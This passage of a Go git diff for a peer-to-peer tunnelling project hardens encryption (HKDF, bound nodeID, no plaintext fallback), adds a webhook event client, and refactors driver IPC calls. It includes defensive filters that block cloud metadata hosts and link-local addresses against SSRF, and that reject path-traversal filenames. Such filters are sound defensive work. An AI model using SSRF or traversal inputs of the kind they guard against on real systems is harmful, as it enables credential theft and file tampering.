*ecdh.PrivateKey // our X25519 private key + pubKey []byte // our X25519 public key (32 bytes) + nodeID uint32 // our node ID (set after registration) // Identity authentication (Ed25519) - identity *crypto.Identity // our Ed25519 identity for signing - peerPubKeys map[uint32]ed25519.PublicKey // node_id → Ed25519 pubkey (from registry) + identity *crypto.Identity // our Ed25519 identity for signing + peerPubKeys map[uint32]ed25519.PublicKey // node_id → Ed25519 pubkey (from registry) verifyFunc func(uint32) (ed25519.PublicKey, error) // callback to fetch peer pubkey // Pending sends waiting for key exchange to complete - pendMu sync.Mutex - pending map[uint32][][]byte // node_id → queued frames + pendMu sync.Mutex + pending map[uint32][][]byte // node_id → queued frames // NAT traversal: beacon-coordinated hole-punching and relay - beaconAddr *net.UDPAddr // beacon address for punch/relay - relayPeers map[uint32]bool // peers that need relay (symmetric NAT) + beaconAddr *net.UDPAddr // beacon address for punch/relay + relayPeers map[uint32]bool // peers that need relay (symmetric NAT) + + // Webhook + webhook *WebhookClient // Metrics - BytesSent uint64 - BytesRecv uint64 - PktsSent uint64 - PktsRecv uint64 + BytesSent uint64 + BytesRecv uint64 + PktsSent uint64 + PktsRecv uint64 + EncryptOK uint64 + EncryptFail uint64 } type IncomingPacket struct { @@ -136,6 +147,11 @@ const maxPendingPerPeer = 64 // maxPendingPeers limits the total number of peers with pending key exchanges. const maxPendingPeers = 256 +// RecvChSize is the capacity of the incoming packet channel. +// Increased from 1024 to 8192 for 1M-node scale to prevent drops during +// bursts (e.g., many peers sending simultaneously after a cron trigger). +const RecvChSize = 8192 + func NewTunnelManager() *TunnelManager { return &TunnelManager{ peers: make(map[uint32]*net.UDPAddr), @@ -143,11 +159,18 @@ func NewTunnelManager() *TunnelManager { peerPubKeys: make(map[uint32]ed25519.PublicKey), pending: make(map[uint32][][]byte), relayPeers: make(map[uint32]bool), - recvCh: make(chan *IncomingPacket, 1024), + recvCh: make(chan *IncomingPacket, RecvChSize), done: make(chan struct{}), } } +// SetWebhook configures the webhook client for event notifications. +func (tm *TunnelManager) SetWebhook(wc *WebhookClient) { + tm.mu.Lock() + tm.webhook = wc + tm.mu.Unlock() +} + // EnableEncryption generates an X25519 keypair and enables tunnel encryption. func (tm *TunnelManager) EnableEncryption() error { curve := ecdh.X25519() @@ -186,13 +209,6 @@ func (tm *TunnelManager) SetPeerVerifyFunc(fn func(uint32) (ed25519.PublicKey, e tm.mu.Unlock() } -// SetPeerPubKey caches a peer's Ed25519 public key for authentication. -func (tm *TunnelManager) SetPeerPubKey(nodeID uint32, pubKey ed25519.PublicKey) { - tm.mu.Lock() - tm.peerPubKeys[nodeID] = pubKey - tm.mu.Unlock() -} - // SetBeaconAddr configures the beacon address for NAT hole-punching and relay. func (tm *TunnelManager) SetBeaconAddr(addr string) error { a, err := net.ResolveUDPAddr("udp", addr) @@ -232,7 +248,7 @@ func (tm *TunnelManager) RegisterWithBeacon() { return } msg := make([]byte, 5) - msg[0] = 0x01 // MsgDiscover + msg[0] = protocol.BeaconMsgDiscover binary.BigEndian.PutUint32(msg[1:5], tm.loadNodeID()) if _, err := tm.conn.WriteToUDP(msg, bAddr); err != nil { slog.Warn("beacon registration failed", "error", err) @@ -251,7 +267,7 @@ func (tm *TunnelManager) RequestHolePunch(targetNodeID uint32) { } // Format: [MsgPunchRequest(1)][ourNodeID(4)][targetNodeID(4)] msg := make([]byte, 9) - msg[0] = 0x03 // MsgPunchRequest + msg[0] = protocol.BeaconMsgPunchRequest binary.BigEndian.PutUint32(msg[1:5], tm.loadNodeID()) binary.BigEndian.PutUint32(msg[5:9], targetNodeID) if _, err := tm.conn.WriteToUDP(msg, bAddr); err != nil { @@ -271,7 +287,7 @@ func (tm *TunnelManager) writeFrame(nodeID uint32, addr *net.UDPAddr, frame []by if relay && bAddr != nil { // MsgRelay: [0x05][senderNodeID(4)][destNodeID(4)][frame...] msg := make([]byte, 1+4+4+len(frame)) - msg[0] = 0x05 // MsgRelay + msg[0] = protocol.BeaconMsgRelay binary.BigEndian.PutUint32(msg[1:5], tm.loadNodeID()) binary.BigEndian.PutUint32(msg[5:9], nodeID) copy(msg[9:], frame) @@ -345,8 +361,8 @@ func (tm *TunnelManager) Close() error { if tm.conn != nil { connErr = tm.conn.Close() // causes readLoop to exit on ReadFromUDP error } - tm.readWg.Wait() // wait for readLoop to fully exit before closing recvCh - close(tm.recvCh) // unblock routeLoop (H5 fix — prevents goroutine leak) + tm.readWg.Wait() // wait for readLoop to fully exit before closing recvCh + close(tm.recvCh) // unblock routeLoop (H5 fix — prevents goroutine leak) }) return connErr } @@ -472,10 +488,23 @@ func (tm *TunnelManager) handleAuthKeyExchange(data []byte, from *net.UDPAddr, f return } - // Verify the packet-provided Ed25519 pubkey matches the registry + // Verify the packet-provided Ed25519 pubkey matches the registry. + // On mismatch, invalidate cache and re-fetch — the peer may have restarted + // with a new identity since we last cached their key. if !peerEd25519PubKey.Equal(expectedPubKey) { - slog.Error("auth key exchange: Ed25519 pubkey mismatch with registry", "peer_node_id", peerNodeID) - return + tm.mu.Lock() + delete(tm.peerPubKeys, peerNodeID) + tm.mu.Unlock() + expectedPubKey, err = tm.getPeerPubKey(peerNodeID) + if err != nil || expectedPubKey == nil { + slog.Warn("auth key exchange rejected: cannot re-verify peer identity", "peer_node_id", peerNodeID, "error", err) + return + } + if !peerEd25519PubKey.Equal(expectedPubKey) { + slog.Error("auth key exchange: Ed25519 pubkey mismatch with registry", "peer_node_id", peerNodeID) + return + } + slog.Info("auth key exchange: peer pubkey updated from registry", "peer_node_id", peerNodeID) } // Verify signature against the registry-verified key @@ -511,6 +540,10 @@ func (tm *TunnelManager) handleAuthKeyExchange(data []byte, from *net.UDPAddr, f } else { slog.Info("encrypted tunnel established", "auth", authenticated, "peer_node_id", peerNodeID, "endpoint", from, "relay", fromRelay) } + tm.webhook.Emit("tunnel.established", map[string]interface{}{ + "peer_node_id": peerNodeID, "authenticated": authenticated, + "relay": fromRelay, "rekeyed": keyChanged, + }) if !hadCrypto || keyChanged { tm.sendKeyExchangeToNode(peerNodeID) @@ -574,6 +607,10 @@ func (tm *TunnelManager) handleKeyExchange(data []byte, from *net.UDPAddr, fromR } else { slog.Info("encrypted tunnel established", "peer_node_id", peerNodeID, "endpoint", from, "relay", fromRelay) } + tm.webhook.Emit("tunnel.established", map[string]interface{}{ + "peer_node_id": peerNodeID, "authenticated": false, + "relay": fromRelay, "rekeyed": keyChanged, + }) // Respond with our key if this is a new peer or the peer rekeyed if !hadCrypto || keyChanged { @@ -610,12 +647,19 @@ func (tm *TunnelManager) handleEncrypted(data []byte, from *net.UDPAddr) { if !pc.checkAndRecordNonce(recvCounter) { pc.replayMu.Unlock() slog.Warn("tunnel nonce replay detected", "peer_node_id", peerNodeID, "counter", recvCounter, "max", pc.maxRecvNonce) + tm.webhook.Emit("security.nonce_replay", map[string]interface{}{ + "peer_node_id": peerNodeID, "counter": recvCounter, + }) return } pc.replayMu.Unlock() - plaintext, err := pc.aead.Open(nil, nonce, ciphertext, nil) + // H3 fix: verify sender's nodeID as AAD + aad := make([]byte, 4) + binary.BigEndian.PutUint32(aad, peerNodeID) + plaintext, err := pc.aead.Open(nil, nonce, ciphertext, aad) if err != nil { + atomic.AddUint64(&tm.EncryptFail, 1) slog.Error("tunnel decrypt error", "peer_node_id", peerNodeID, "error", err) // Undo the nonce record on decrypt failure — it was not a valid packet pc.replayMu.Lock() @@ -656,11 +700,14 @@ func (tm *TunnelManager) deriveSecret(peerPubKeyBytes []byte) (*peerCrypto, erro return nil, fmt.Errorf("ecdh: %w", err) } - // Derive key with domain separator - h := sha256.New() - h.Write([]byte("pilot-tunnel-v1:")) - h.Write(shared) - key := h.Sum(nil) + // HKDF-SHA256 key derivation (H1 fix) + mac := hmac.New(sha256.New, nil) // HKDF-Extract: PRK = HMAC-SHA256(nil salt, IKM) + mac.Write(shared) + prk := mac.Sum(nil) + mac = hmac.New(sha256.New, prk) // HKDF-Expand: OKM = HMAC-SHA256(PRK, info || 0x01) + mac.Write([]byte("pilot-tunnel-v1")) + mac.Write([]byte{0x01}) + key := mac.Sum(nil) block, err := aes.NewCipher(key) if err != nil { @@ -671,6 +718,17 @@ func (tm *TunnelManager) deriveSecret(peerPubKeyBytes []byte) (*peerCrypto, erro return nil, fmt.Errorf("gcm: %w", err) } + // Zero intermediate key material (H4 fix) + for i := range shared { + shared[i] = 0 + } + for i := range key { + key[i] = 0 + } + for i := range prk { + prk[i] = 0 + } + // Generate random nonce prefix for domain separation pc := &peerCrypto{aead: aead, ready: true} copy(pc.peerX25519Key[:], peerPubKeyBytes) @@ -745,42 +803,6 @@ func (tm *TunnelManager) buildKeyExchangeFrame() []byte { return frame } -// sendKeyExchangeAuto sends an authenticated key exchange if identity is available, -// otherwise falls back to unauthenticated. Uses addr-based direct send (for backward compat). -func (tm *TunnelManager) sendKeyExchangeAuto(addr *net.UDPAddr) { - tm.mu.RLock() - hasIdentity := tm.identity != nil - tm.mu.RUnlock() - if hasIdentity { - tm.sendAuthKeyExchange(addr) - } else { - tm.sendKeyExchange(addr) - } -} - -// sendAuthKeyExchange sends our X25519 public key + Ed25519 signature to a peer (direct). -func (tm *TunnelManager) sendAuthKeyExchange(addr *net.UDPAddr) { - frame := tm.buildAuthKeyExchangeFrame() - if frame == nil { - tm.sendKeyExchange(addr) - return - } - if _, err := tm.conn.WriteToUDP(frame, addr); err != nil { - slog.Error("send auth key exchange failed", "addr", addr, "error", err) - } -} - -// sendKeyExchange sends our public key to a peer (unauthenticated, direct). -func (tm *TunnelManager) sendKeyExchange(addr *net.UDPAddr) { - frame := tm.buildKeyExchangeFrame() - if frame == nil { - return - } - if _, err := tm.conn.WriteToUDP(frame, addr); err != nil { - slog.Error("send key exchange failed", "addr", addr, "error", err) - } -} - // flushPending sends any queued packets for a peer now that encryption is ready. func (tm *TunnelManager) flushPending(nodeID uint32) { tm.pendMu.Lock() @@ -818,7 +840,11 @@ func (tm *TunnelManager) encryptFrame(pc *peerCrypto, plaintext []byte) []byte { counter := atomic.AddUint64(&pc.nonce, 1) binary.BigEndian.PutUint64(nonce[pc.aead.NonceSize()-8:], counter) - ciphertext := pc.aead.Seal(nil, nonce, plaintext, nil) + // H3 fix: bind sender's nodeID as AAD + aad := make([]byte, 4) + binary.BigEndian.PutUint32(aad, tm.loadNodeID()) + ciphertext := pc.aead.Seal(nil, nonce, plaintext, aad) + atomic.AddUint64(&tm.EncryptOK, 1) frame := make([]byte, 4+4+len(nonce)+len(ciphertext)) copy(frame[0:4], protocol.TunnelMagicSecure[:]) @@ -860,22 +886,20 @@ func (tm *TunnelManager) SendTo(addr *net.UDPAddr, nodeID uint32, pkt *protocol. return tm.writeFrame(nodeID, addr, frame) } - // No key yet — initiate key exchange and queue the packet + // No key yet — initiate key exchange and queue the packet (C1 fix: no plaintext fallback) tm.sendKeyExchangeToNode(nodeID) tm.pendMu.Lock() if _, exists := tm.pending[nodeID]; !exists && len(tm.pending) >= maxPendingPeers { tm.pendMu.Unlock() - return tm.sendPlaintextToNode(nodeID, addr, data) + return fmt.Errorf("too many pending key exchanges") } q := tm.pending[nodeID] if len(q) >= maxPendingPerPeer { - q = q[1:] + q = q[1:] // drop oldest } tm.pending[nodeID] = append(q, data) tm.pendMu.Unlock() - - // Also send plaintext so the connection isn't blocked - return tm.sendPlaintextToNode(nodeID, addr, data) + return nil // queued, will be sent encrypted after key exchange } return tm.sendPlaintextToNode(nodeID, addr, data) @@ -974,11 +998,11 @@ func (tm *TunnelManager) handleBeaconMessage(data []byte, from *net.UDPAddr) { return } switch data[0] { - case 0x02: // MsgDiscoverReply + case protocol.BeaconMsgDiscoverReply: slog.Debug("beacon discover reply on tunnel socket", "from", from) - case 0x04: // MsgPunchCommand + case protocol.BeaconMsgPunchCommand: tm.handlePunchCommand(data[1:]) - case 0x06: // MsgRelayDeliver + case protocol.BeaconMsgRelayDeliver: tm.handleRelayDeliver(data[1:]) default: slog.Debug("unknown beacon message on tunnel socket", "type", data[0], "from", from) @@ -1024,12 +1048,18 @@ func (tm *TunnelManager) handleRelayDeliver(data []byte) { // Mark this peer as relay-capable (they sent through relay, so they're behind NAT) tm.mu.Lock() + wasRelay := tm.relayPeers[srcNodeID] tm.relayPeers[srcNodeID] = true // Ensure we have a peer entry (use beacon addr as placeholder for relay peers) if _, ok := tm.peers[srcNodeID]; !ok && tm.beaconAddr != nil { tm.peers[srcNodeID] = tm.beaconAddr } tm.mu.Unlock() + if !wasRelay { + tm.webhook.Emit("tunnel.relay_activated", map[string]interface{}{ + "peer_node_id": srcNodeID, + }) + } if len(payload) < 4 { return @@ -1086,7 +1116,7 @@ func DiscoverEndpoint(beaconAddr string, nodeID uint32, conn *net.UDPConn) (*net // Send discover message msg := make([]byte, 5) - msg[0] = 0x01 // MsgDiscover + msg[0] = protocol.BeaconMsgDiscover binary.BigEndian.PutUint32(msg[1:5], nodeID) if _, err := conn.WriteToUDP(msg, bAddr); err != nil { @@ -1103,7 +1133,7 @@ func DiscoverEndpoint(beaconAddr string, nodeID uint32, conn *net.UDPConn) (*net } // Format: [type(1)][iplen(1)][IP(4 or 16)][port(2)] - if n < 4 || buf[0] != 0x02 { + if n < 4 || buf[0] != protocol.BeaconMsgDiscoverReply { return nil, fmt.Errorf("invalid discover reply") } ipLen := int(buf[1]) diff --git a/pkg/daemon/webhook.go b/pkg/daemon/webhook.go new file mode 100644 index 00000000..23560eb5 --- /dev/null +++ b/pkg/daemon/webhook.go @@ -0,0 +1,194 @@ +package daemon + +import ( + "bytes" + "encoding/json" + "fmt" + "log/slog" + "net" + "net/http" + "net/url" + "sync" + "sync/atomic" + "time" +) + +// ValidateWebhookURL checks that a webhook URL uses http(s) and does not +// target cloud metadata or link-local endpoints (SSRF prevention). +func ValidateWebhookURL(rawURL string) error { + parsed, err := url.Parse(rawURL) + if err != nil { + return fmt.Errorf("invalid webhook URL: %w", err) + } + if parsed.Scheme != "http" && parsed.Scheme != "https" { + return fmt.Errorf("webhook URL must use http or https scheme, got %q", parsed.Scheme) + } + host := parsed.Hostname() + if ip := net.ParseIP(host); ip != nil { + if ip.IsLinkLocalUnicast() || ip.IsLinkLocalMulticast() { + return fmt.Errorf("webhook URL cannot target link-local address %s", host) + } + } + // Block well-known cloud metadata hostnames + switch host { + case "metadata.google.internal", "metadata.google.com": + return fmt.Errorf("webhook URL cannot target cloud metadata endpoint %s", host) + } + return nil +} + +// WebhookEvent is the JSON payload POSTed to the webhook endpoint. +type WebhookEvent struct { + EventID uint64 `json:"event_id"` + Event string `json:"event"` + NodeID uint32 `json:"node_id"` + Timestamp time.Time `json:"timestamp"` + Data interface{} `json:"data,omitempty"` +} + +// WebhookClient dispatches events asynchronously to an HTTP(S) endpoint. +// If URL is empty, all methods are no-ops (zero overhead when disabled). +type WebhookClient struct { + url string + ch chan *WebhookEvent + client *http.Client + done chan struct{} + nodeID func() uint32 + closeOnce sync.Once + closed chan struct{} // closed when Close is called, guards Emit + nextID atomic.Uint64 + dropped atomic.Uint64 + initialBackoff time.Duration // retry backoff (default 1s) +} + +// WebhookOption configures a WebhookClient. +type WebhookOption func(*WebhookClient) + +// WithHTTPTimeout sets the HTTP client timeout (default 5s). +func WithHTTPTimeout(d time.Duration) WebhookOption { + return func(wc *WebhookClient) { wc.client.Timeout = d } +} + +// WithRetryBackoff sets the initial retry backoff (default 1s, doubles each retry). +func WithRetryBackoff(d time.Duration) WebhookOption { + return func(wc *WebhookClient) { wc.initialBackoff = d } +} + +// NewWebhookClient creates a webhook dispatcher. If url is empty, returns nil. +func NewWebhookClient(url string, nodeIDFunc func() uint32, opts ...WebhookOption) *WebhookClient { + if url == "" { + return nil + } + wc := &WebhookClient{ + url: url, + ch: make(chan *WebhookEvent, 1024), + client: &http.Client{Timeout: 5 * time.Second}, + done: make(chan struct{}), + nodeID: nodeIDFunc, + closed: make(chan struct{}), + initialBackoff: webhookInitialBackoff, + } + for _, opt := range opts { + opt(wc) + } + go wc.run() + return wc +} + +// Emit queues an event for async delivery. Non-blocking; drops if buffer full. +// Safe to call after Close (becomes a no-op). +func (wc *WebhookClient) Emit(event string, data interface{}) { + if wc == nil { + return + } + select { + case <-wc.closed: + return // already closed + default: + } + ev := &WebhookEvent{ + EventID: wc.nextID.Add(1), + Event: event, + NodeID: wc.nodeID(), + Timestamp: time.Now().UTC(), + Data: data, + } + select { + case wc.ch <- ev: + case <-wc.closed: + default: + wc.dropped.Add(1) + slog.Warn("webhook queue full, dropping event", "event", event) + } +} + +// Dropped returns the number of events dropped due to a full queue. Nil-safe. +func (wc *WebhookClient) Dropped() uint64 { + if wc == nil { + return 0 + } + return wc.dropped.Load() +} + +// Close drains the queue and stops the background goroutine. Idempotent. +// Waits up to 5 seconds for the queue to drain before abandoning remaining events. +func (wc *WebhookClient) Close() { + if wc == nil { + return + } + wc.closeOnce.Do(func() { + close(wc.closed) + close(wc.ch) + }) + select { + case <-wc.done: + case <-time.After(5 * time.Second): + slog.Warn("webhook drain timeout, abandoning remaining events") + } +} + +func (wc *WebhookClient) run() { + defer close(wc.done) + for ev := range wc.ch { + wc.post(ev) + } +} + +const ( + webhookMaxRetries = 3 + webhookInitialBackoff = 1 * time.Second +) + +func (wc *WebhookClient) post(ev *WebhookEvent) { + body, err := json.Marshal(ev) + if err != nil { + slog.Warn("webhook marshal error", "event", ev.Event, "error", err) + return + } + + backoff := wc.initialBackoff + for attempt := 0; attempt < webhookMaxRetries; attempt++ { + if attempt > 0 { + time.Sleep(backoff) + backoff *= 2 + } + + resp, err := wc.client.Post(wc.url, "application/json", bytes.NewReader(body)) + if err != nil { + slog.Warn("webhook POST failed", "event", ev.Event, "attempt", attempt+1, "error", err) + continue // network error → retry + } + resp.Body.Close() + + if resp.StatusCode < 400 { + return // success + } + if resp.StatusCode < 500 { + // 4xx — permanent client error, no retry + slog.Warn("webhook POST client error", "event", ev.Event, "status", resp.StatusCode) + return + } + // 5xx — server error, retry + slog.Warn("webhook POST server error", "event", ev.Event, "status", resp.StatusCode, "attempt", attempt+1) + } +} diff --git a/pkg/dataexchange/client.go b/pkg/dataexchange/client.go index 03e9d439..037060be 100644 --- a/pkg/dataexchange/client.go +++ b/pkg/dataexchange/client.go @@ -1,8 +1,8 @@ package dataexchange import ( - "web4/pkg/driver" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/driver" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) // Client connects to a remote data exchange service on port 1001. diff --git a/pkg/dataexchange/dataexchange.go b/pkg/dataexchange/dataexchange.go index ae4619cd..a6735ecd 100644 --- a/pkg/dataexchange/dataexchange.go +++ b/pkg/dataexchange/dataexchange.go @@ -4,6 +4,8 @@ import ( "encoding/binary" "fmt" "io" + "path/filepath" + "strings" ) // Frame types for data exchange on port 1001. @@ -14,6 +16,9 @@ const ( TypeFile uint32 = 4 ) +// maxFilenameLen limits filename length to prevent abuse. +const maxFilenameLen = 255 + // Frame is a typed data unit exchanged between agents. // Wire format: [4-byte type][4-byte length][payload] // For TypeFile, payload is: [2-byte name length][name bytes][file data] @@ -68,7 +73,16 @@ func ReadFrame(r io.Reader) (*Frame, error) { if ftype == TypeFile && len(payload) >= 2 { nameLen := binary.BigEndian.Uint16(payload[0:2]) if int(nameLen)+2 <= len(payload) { - f.Filename = string(payload[2 : 2+nameLen]) + if nameLen > maxFilenameLen { + return nil, fmt.Errorf("filename too long: %d bytes (max %d)", nameLen, maxFilenameLen) + } + name := string(payload[2 : 2+nameLen]) + if strings.Contains(name, "..") || strings.ContainsAny(name, "/\\") { + return nil, fmt.Errorf("invalid filename: path traversal characters not allowed") + } + if name != "" { + f.Filename = filepath.Base(name) + } f.Payload = payload[2+nameLen:] } } diff --git a/pkg/dataexchange/server.go b/pkg/dataexchange/server.go index b922e475..8389f669 100644 --- a/pkg/dataexchange/server.go +++ b/pkg/dataexchange/server.go @@ -4,8 +4,8 @@ import ( "log/slog" "net" - "web4/pkg/driver" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/driver" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) // Handler is called for each incoming frame on a connection. diff --git a/pkg/driver/conn.go b/pkg/driver/conn.go index 5250cb15..f4c24bb6 100644 --- a/pkg/driver/conn.go +++ b/pkg/driver/conn.go @@ -2,14 +2,13 @@ package driver import ( "encoding/binary" - "fmt" "io" "net" "os" "sync" "time" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) // Conn implements net.Conn over a Pilot Protocol stream. @@ -75,7 +74,7 @@ func (c *Conn) Write(b []byte) (int, error) { c.mu.Lock() if c.closed { c.mu.Unlock() - return 0, fmt.Errorf("connection closed") + return 0, protocol.ErrConnClosed } c.mu.Unlock() diff --git a/pkg/driver/driver.go b/pkg/driver/driver.go index 65524e9b..03d1b0dc 100644 --- a/pkg/driver/driver.go +++ b/pkg/driver/driver.go @@ -4,12 +4,37 @@ import ( "encoding/binary" "encoding/json" "fmt" + "time" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) const DefaultSocketPath = "/tmp/pilot.sock" +// Handshake sub-commands (must match daemon SubHandshake* constants) +const ( + subHandshakeSend byte = 0x01 + subHandshakeApprove byte = 0x02 + subHandshakeReject byte = 0x03 + subHandshakePending byte = 0x04 + subHandshakeTrusted byte = 0x05 + subHandshakeRevoke byte = 0x06 +) + +// jsonRPC sends an IPC message, waits for the expected response, and +// unmarshals the JSON payload. Most driver methods follow this pattern. +func (d *Driver) jsonRPC(msg []byte, expectCmd byte, label string) (map[string]interface{}, error) { + resp, err := d.ipc.sendAndWait(msg, expectCmd) + if err != nil { + return nil, fmt.Errorf("%s: %w", label, err) + } + var result map[string]interface{} + if err := json.Unmarshal(resp, &result); err != nil { + return nil, fmt.Errorf("%s unmarshal: %w", label, err) + } + return result, nil +} + // Driver is the main entry point for the Pilot Protocol SDK. type Driver struct { ipc *ipcClient @@ -69,6 +94,35 @@ func (d *Driver) DialAddr(dst protocol.Addr, port uint16) (*Conn, error) { }, nil } +// DialAddrTimeout opens a stream connection with a client-side timeout. +// If the daemon does not respond within the timeout, the dial is cancelled. +func (d *Driver) DialAddrTimeout(dst protocol.Addr, port uint16, timeout time.Duration) (*Conn, error) { + msg := make([]byte, 1+protocol.AddrSize+2) + msg[0] = cmdDial + dst.MarshalTo(msg, 1) + binary.BigEndian.PutUint16(msg[1+protocol.AddrSize:], port) + + resp, err := d.ipc.sendAndWaitTimeout(msg, cmdDialOK, timeout) + if err != nil { + return nil, fmt.Errorf("dial: %w", err) + } + + if len(resp) < 4 { + return nil, fmt.Errorf("invalid dial response") + } + + connID := binary.BigEndian.Uint32(resp[0:4]) + recvCh := d.ipc.registerRecvCh(connID) + + return &Conn{ + id: connID, + remoteAddr: protocol.SocketAddr{Addr: dst, Port: port}, + ipc: d.ipc, + recvCh: recvCh, + deadlineCh: make(chan struct{}), + }, nil +} + // Listen binds a port and returns a Listener that accepts connections. func (d *Driver) Listen(port uint16) (*Listener, error) { msg := make([]byte, 3) @@ -115,126 +169,60 @@ func (d *Driver) RecvFrom() (*Datagram, error) { // Info returns the daemon's status information. func (d *Driver) Info() (map[string]interface{}, error) { - msg := []byte{cmdInfo} - resp, err := d.ipc.sendAndWait(msg, cmdInfoOK) - if err != nil { - return nil, fmt.Errorf("info: %w", err) - } - var info map[string]interface{} - if err := json.Unmarshal(resp, &info); err != nil { - return nil, fmt.Errorf("info unmarshal: %w", err) - } - return info, nil + return d.jsonRPC([]byte{cmdInfo}, cmdInfoOK, "info") +} + +// Health returns a lightweight health check from the daemon. +func (d *Driver) Health() (map[string]interface{}, error) { + return d.jsonRPC([]byte{cmdHealth}, cmdHealthOK, "health") } // Handshake sends a trust handshake request to a remote node. func (d *Driver) Handshake(nodeID uint32, justification string) (map[string]interface{}, error) { - payload := make([]byte, 1+4+len(justification)) - payload[0] = 0x01 // SendRequest sub-command - binary.BigEndian.PutUint32(payload[1:5], nodeID) - copy(payload[5:], justification) - - msg := make([]byte, 1+len(payload)) + msg := make([]byte, 1+1+4+len(justification)) msg[0] = cmdHandshake - copy(msg[1:], payload) - - resp, err := d.ipc.sendAndWait(msg, cmdHandshakeOK) - if err != nil { - return nil, fmt.Errorf("handshake: %w", err) - } - var result map[string]interface{} - if err := json.Unmarshal(resp, &result); err != nil { - return nil, fmt.Errorf("handshake unmarshal: %w", err) - } - return result, nil + msg[1] = subHandshakeSend + binary.BigEndian.PutUint32(msg[2:6], nodeID) + copy(msg[6:], justification) + return d.jsonRPC(msg, cmdHandshakeOK, "handshake") } // ApproveHandshake approves a pending trust handshake request. func (d *Driver) ApproveHandshake(nodeID uint32) (map[string]interface{}, error) { - msg := make([]byte, 1+1+4) + msg := make([]byte, 6) msg[0] = cmdHandshake - msg[1] = 0x02 // Approve sub-command + msg[1] = subHandshakeApprove binary.BigEndian.PutUint32(msg[2:6], nodeID) - - resp, err := d.ipc.sendAndWait(msg, cmdHandshakeOK) - if err != nil { - return nil, fmt.Errorf("approve: %w", err) - } - var result map[string]interface{} - if err := json.Unmarshal(resp, &result); err != nil { - return nil, fmt.Errorf("approve unmarshal: %w", err) - } - return result, nil + return d.jsonRPC(msg, cmdHandshakeOK, "approve") } // RejectHandshake rejects a pending trust handshake request. func (d *Driver) RejectHandshake(nodeID uint32, reason string) (map[string]interface{}, error) { - payload := make([]byte, 1+4+len(reason)) - payload[0] = 0x03 // Reject sub-command - binary.BigEndian.PutUint32(payload[1:5], nodeID) - copy(payload[5:], reason) - - msg := make([]byte, 1+len(payload)) + msg := make([]byte, 1+1+4+len(reason)) msg[0] = cmdHandshake - copy(msg[1:], payload) - - resp, err := d.ipc.sendAndWait(msg, cmdHandshakeOK) - if err != nil { - return nil, fmt.Errorf("reject: %w", err) - } - var result map[string]interface{} - if err := json.Unmarshal(resp, &result); err != nil { - return nil, fmt.Errorf("reject unmarshal: %w", err) - } - return result, nil + msg[1] = subHandshakeReject + binary.BigEndian.PutUint32(msg[2:6], nodeID) + copy(msg[6:], reason) + return d.jsonRPC(msg, cmdHandshakeOK, "reject") } // PendingHandshakes returns pending trust handshake requests. func (d *Driver) PendingHandshakes() (map[string]interface{}, error) { - msg := []byte{cmdHandshake, 0x04} - - resp, err := d.ipc.sendAndWait(msg, cmdHandshakeOK) - if err != nil { - return nil, fmt.Errorf("pending: %w", err) - } - var result map[string]interface{} - if err := json.Unmarshal(resp, &result); err != nil { - return nil, fmt.Errorf("pending unmarshal: %w", err) - } - return result, nil + return d.jsonRPC([]byte{cmdHandshake, subHandshakePending}, cmdHandshakeOK, "pending") } // TrustedPeers returns all trusted peers from the handshake protocol. func (d *Driver) TrustedPeers() (map[string]interface{}, error) { - msg := []byte{cmdHandshake, 0x05} - - resp, err := d.ipc.sendAndWait(msg, cmdHandshakeOK) - if err != nil { - return nil, fmt.Errorf("trusted: %w", err) - } - var result map[string]interface{} - if err := json.Unmarshal(resp, &result); err != nil { - return nil, fmt.Errorf("trusted unmarshal: %w", err) - } - return result, nil + return d.jsonRPC([]byte{cmdHandshake, subHandshakeTrusted}, cmdHandshakeOK, "trusted") } // RevokeTrust removes a peer from the trusted set and notifies the registry. func (d *Driver) RevokeTrust(nodeID uint32) (map[string]interface{}, error) { msg := make([]byte, 6) msg[0] = cmdHandshake - msg[1] = 0x06 // SubHandshakeRevoke + msg[1] = subHandshakeRevoke binary.BigEndian.PutUint32(msg[2:6], nodeID) - - resp, err := d.ipc.sendAndWait(msg, cmdHandshakeOK) - if err != nil { - return nil, fmt.Errorf("revoke: %w", err) - } - var result map[string]interface{} - if err := json.Unmarshal(resp, &result); err != nil { - return nil, fmt.Errorf("revoke unmarshal: %w", err) - } - return result, nil + return d.jsonRPC(msg, cmdHandshakeOK, "revoke") } // ResolveHostname resolves a hostname to node info via the daemon. @@ -242,16 +230,7 @@ func (d *Driver) ResolveHostname(hostname string) (map[string]interface{}, error msg := make([]byte, 1+len(hostname)) msg[0] = cmdResolveHostname copy(msg[1:], hostname) - - resp, err := d.ipc.sendAndWait(msg, cmdResolveHostnameOK) - if err != nil { - return nil, fmt.Errorf("resolve_hostname: %w", err) - } - var result map[string]interface{} - if err := json.Unmarshal(resp, &result); err != nil { - return nil, fmt.Errorf("resolve_hostname unmarshal: %w", err) - } - return result, nil + return d.jsonRPC(msg, cmdResolveHostnameOK, "resolve_hostname") } // SetHostname sets or clears the daemon's hostname via the registry. @@ -259,16 +238,7 @@ func (d *Driver) SetHostname(hostname string) (map[string]interface{}, error) { msg := make([]byte, 1+len(hostname)) msg[0] = cmdSetHostname copy(msg[1:], hostname) - - resp, err := d.ipc.sendAndWait(msg, cmdSetHostnameOK) - if err != nil { - return nil, fmt.Errorf("set_hostname: %w", err) - } - var result map[string]interface{} - if err := json.Unmarshal(resp, &result); err != nil { - return nil, fmt.Errorf("set_hostname unmarshal: %w", err) - } - return result, nil + return d.jsonRPC(msg, cmdSetHostnameOK, "set_hostname") } // SetVisibility sets the daemon's visibility on the registry. @@ -278,31 +248,40 @@ func (d *Driver) SetVisibility(public bool) (map[string]interface{}, error) { if public { msg[1] = 1 } + return d.jsonRPC(msg, cmdSetVisibilityOK, "set_visibility") +} - resp, err := d.ipc.sendAndWait(msg, cmdSetVisibilityOK) - if err != nil { - return nil, fmt.Errorf("set_visibility: %w", err) - } - var result map[string]interface{} - if err := json.Unmarshal(resp, &result); err != nil { - return nil, fmt.Errorf("set_visibility unmarshal: %w", err) +// SetTaskExec enables or disables task execution capability on the registry. +func (d *Driver) SetTaskExec(enabled bool) (map[string]interface{}, error) { + msg := make([]byte, 2) + msg[0] = cmdSetTaskExec + if enabled { + msg[1] = 1 } - return result, nil + return 